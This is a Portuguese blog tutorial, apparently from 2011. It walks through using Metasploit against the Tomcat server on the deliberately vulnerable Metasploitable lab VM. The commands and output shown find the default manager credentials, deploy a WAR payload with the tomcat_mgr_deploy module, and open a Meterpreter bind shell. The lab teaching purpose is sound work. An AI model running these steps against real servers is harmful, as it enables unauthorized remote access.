Introdução e Levantamento de informações
Introdução
De acordo com o diretor de segurança (CSO) da Rapid7 e criador do Metasploit Project, HD Moore:
"A melhor maneira de lidar com os crescentes desafios de segurança de informação é compartilhar conhecimento entre profissionais, projetos em código aberto e fornecedores comerciais."
Para que esta analogia não ficasse apenas em teoria, os próprios desenvolvedores do Metasploit criaram o projeto Metasploitable, uma máquina virtual com diversos softwares vulneráveis, como o TikiWiki, SSH, MySql, entre outros.
Reiterando, o artigo foi criado para fins éticos, e tem a função de demonstrar (para aqueles que estão iniciando) um pedaço do "poder de fogo" do Metasploit Framework.
Para tal, iremos explorar vulnerabilidades na aplicação Tomcat (servidor de aplicações JEE) presente no Metasploitable.
O Cenário:
VirtualBox;
Backtrack 5;
Metasploitable (Download via torrent: http://updates.metasploit.com - Metasploitable).
Obs.1: Para "rodar" o Metasploitable (que está em VMDK) no VirtualBox, basta entrar na opção 'Sistema', e habilitar a opção 'IO APIC'.
Obs.2: Os testes serão realizados visando a agregação de conhecimento em uma falha já existente, e não a exploração de uma falha '0day'.
Levantando informações
Para que tenhamos êxito na identificação e exploração da vulnerabilidade, o primeiro passo será atualizar o Metasploit:
# msfupdate
Feito isto, iniciaremos o Metasploit no modo console (linha de comando):
# msfconsole
Com o Metasploit iniciado, iremos procurar e utilizar algum módulo auxiliar que se responsabilize pelo fingerprint da aplicação:
msf > search tomcat
Saída do comando:
auxiliary/admin/http/tomcat_administration normal Tomcat Administration Tool Default Access
(Este módulo é utilizado para detectar informações na interface de administração do Tomcat.)
msf > use auxiliary/admin/http/tomcat_administration
Quais opções este módulo auxiliar oferece? Simples, basta utilizar o comando 'show options':
msf auxiliary(tomcat_administration) > show options
Perceba que as opções requeridas já estão habilitadas por padrão, exceto a opção RHOTS, que indica o IP da máquina que hospeda o Tomcat (192.168.200.66). Vamos setar esta opção:
msf auxiliary(tomcat_administration) > set RHOSTS 192.168.200.66
Feito isto, basta executar o módulo:
msf auxiliary(tomcat_administration) > run
Saída do comando:
[*] http://192.168.200.66:8180/admin [Apache-Coyote/1.1] [Apache Tomcat/5.5] [Tomcat Server Administration] [tomcat/tomcat]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Analisando a saída do comando, percebemos que o Tomcat está "rodando" na porta 8180, e no fim da mesma linha entre colchetes "[ ]", informa o usuário e senha da interface administrativa; informação no qual, vai ser de grande utilidade em meio à exploração!
Explorando o Tomcat
Com a parte de 'fingerprint' concluída, é hora de procurarmos um Exploit:
msf auxiliary(tomcat_mgr_login) > back
msf > search tomcat
Perceba que existe apenas um Exploit para explorar o Tomcat (o restante são módulos auxiliares), conseguimos mais informações deste Exploit com o comando:
msf > info exploit/multi/http/tomcat_mgr_deploy
Perceba que a função do Exploit é injetar um Payload no 'Apache / Tomcat' a fim de obter acesso à aplicação.
msf > use exploit/multi/http/tomcat_mgr_deploy
msf exploit(tomcat_mgr_deploy) > show options
Com as opções listadas, é necessário setar algumas delas, como USERNAME, PASSWORD, RHOST e RPORT:
msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat
msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat
msf exploit(tomcat_mgr_deploy) > set RHOST 192.168.200.66
msf exploit(tomcat_mgr_deploy) > set RPORT 8180
Encontrando um Payload
Agora é necessário encontrar um Payload para mantermos acesso ao sistema que hospeda a aplicação. Neste caso, através de uma shell:
msf exploit(tomcat_mgr_deploy) > show payloads
O comando 'show payloads', demonstra quais são os Payloads que podemos utilizar com esse Exploit.
Nesse caso, utilizarei o Payload 'java/meterpreter/bind_tcp', que tem a função de fornecer um 'Shell Meterpreter' ao atacante:
msf exploit(tomcat_mgr_deploy) > set payload java/meterpreter/bind_tcp
Feito isto, basta executar o comando 'exploit', e aguardar o shell meterpreter:
msf exploit(tomcat_mgr_deploy) > exploit
Saída do comando:
[*] Started bind handler
[*] Attempting to automatically select a target...
[*] Automatically selected target "Linux x86"
[*] Uploading 6219 bytes as yA3qxprcUAWuRo1mgLlruBue.war...
[*] Executing /yA3qxprcUAWuRo1mgLlruBue/fwPtbEiJ611zikx4AkQ0u5ddQs.jsp...
[*] Undeploying yA3qxprcUAWuRo1mgLlruBue...
[*] Sending stage (28469 bytes) to 192.168.200.66
[*] Meterpreter session 1 opened (192.168.200.3:59842 -> 192.168.200.66:4444) at 2011-12-29 13:24:00 -0200
meterpreter >
E ... VOILÀ !!
Conseguimos acesso ao sistema. Para saber quais comandos executar no Meterpreter, utilize o comando 'help':
meterpreter > help
Caso não se familiarize com o 'Shell Meterpreter', basta utilizar o comando 'shell', que o mesmo passará a ser o shell do sistema atacado, no nosso caso, o Bash.
meterpreter > shell
Espero que tenham gostado.
Até a próxima!
0 comentários:
Postar um comentário